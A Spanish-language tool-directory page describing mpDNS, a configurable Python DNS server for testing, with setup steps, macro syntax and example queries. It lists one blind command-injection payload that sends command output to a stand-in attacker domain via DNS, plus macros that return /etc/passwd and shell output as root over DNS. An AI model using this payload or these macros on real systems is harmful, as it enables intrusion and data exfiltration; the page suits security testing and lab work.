Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mpDNS — Servidor DNS Multiusos | Kitploit
Herramientas/GitHubGitHub/nopernik/mpdns
Scripting y AutomatizaciónExfiltración de DatosRecopilación de InformaciónSeguridad WebAnálisis de MalwarePruebas de PenetraciónRed TeamingAnálisis de DNS
GitHubnopernik/mpdns

mpDNS

Servidor DNS Multiusos

Ver Repositorio
14420hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

mpDNS también conocido como servidor DNS multipropósito

Servidor DNS simple, configurable con múltiples características útiles

  • Python 3
  • names.db -> contiene todos los registros personalizados (ver ejemplos)
  • Comodines simples como *.example.com
  • Captura solicitudes DNS unicode
  • Acciones personalizadas también conocidas como macro:
    • {{shellexec::dig google.com +short}} -> Ejecuta un comando de shell y responde con el resultado
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Evalúa tu código Python
    • {{file::/etc/passwd}} -> Responde con el contenido de un archivo local
    • {{filelist::/somefile.list}} -> Responde con múltiples resultados línea por línea
    • {{resolve}} -> Reenvía la solicitud DNS al DNS del sistema local
    • {{resolve::example.com}} -> Resuelve example.com en lugar del registro original
    • {{echo}} -> Responde con la dirección del par
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Uso de variables
  • Ver names.db.example para más

Basado en gran medida en https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

Inicio rápido

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

Ahora estás listo para completar tus registros DNS en names.db basándote en names.db.example

Uso: ./mpdns.py

  • Crea names.db. Ver names.db.example
  • Edita los registros DNS en names.db con ./mpdns.py -e sin necesidad de reiniciar

Propósitos ofensivos y defensivos:

  1. Necesitas una solución de servidor DNS simple y ligera para propósitos de prueba (¡NO PARA PRODUCCIÓN!)
  2. Prueba de diversas vulnerabilidades de inyección ciega en aplicaciones web (ej. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Infiltra fácilmente 65K de datos en una sola consulta TXT
  4. DNS Rebinding
  5. Ejecuta acciones de macro personalizadas en consultas específicas (útil en entornos de laboratorio de análisis de malware)
  6. Y mucho más. Es altamente personalizable.

Limitaciones

  1. Debido al límite de 65535 bytes del datagrama UDP, la respuesta DNS está limitada a aproximadamente ~65200 bytes
    esta limitación se aplica a los registros TXT que se dividen en fragmentos de 256 bytes hasta que la respuesta alcanza el máximo permitido de 65200b
    por lo tanto, el registro TXT con la macro {{file:localfile.txt}} está limitado a 65200 bytes.
  2. No hay soporte para comodines anidados test.*.example.com
  3. No hay soporte para un solucionador de servidor DNS personalizado en la macro {{resolve::example.com}}
  4. TTL siempre establecido en 0

Ejemplos

Ejemplo de names.db:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

Salida de ejemplo con el ejemplo de names.db:

Resolución regular desde la base de datos: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

Salida de mpDNS: - Solicitud de 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


Resolución recursiva de CNAME: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

Salida de mpDNS:

root@kitploit:~
- Solicitud de 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Solicitud de 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Solicitud de 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Solicitud de 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Solicitud de 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

Resolución con comodín: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

Salida de mpDNS: - Solicitud de 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


Resolución de subdominio con comodín: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

Salida de mpDNS: - Solicitud de 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


Macro de reenvío de solicitud: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

Salida de mpDNS: - Solicitud de 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


Macro de reenvío de solicitud de dominio personalizado: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

Salida de mpDNS: - Solicitud de 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


Macro de contenido de archivo mediante consulta TXT: dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

Salida de mpDNS: - Solicitud de 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


Macro de código Python personalizado mediante consulta TXT: dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

Salida de mpDNS: - Solicitud de 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


Macro de comando de shell mediante consulta TXT: dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

Salida de mpDNS: - Solicitud de 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


¡Que te diviertas!

Descargar herramienta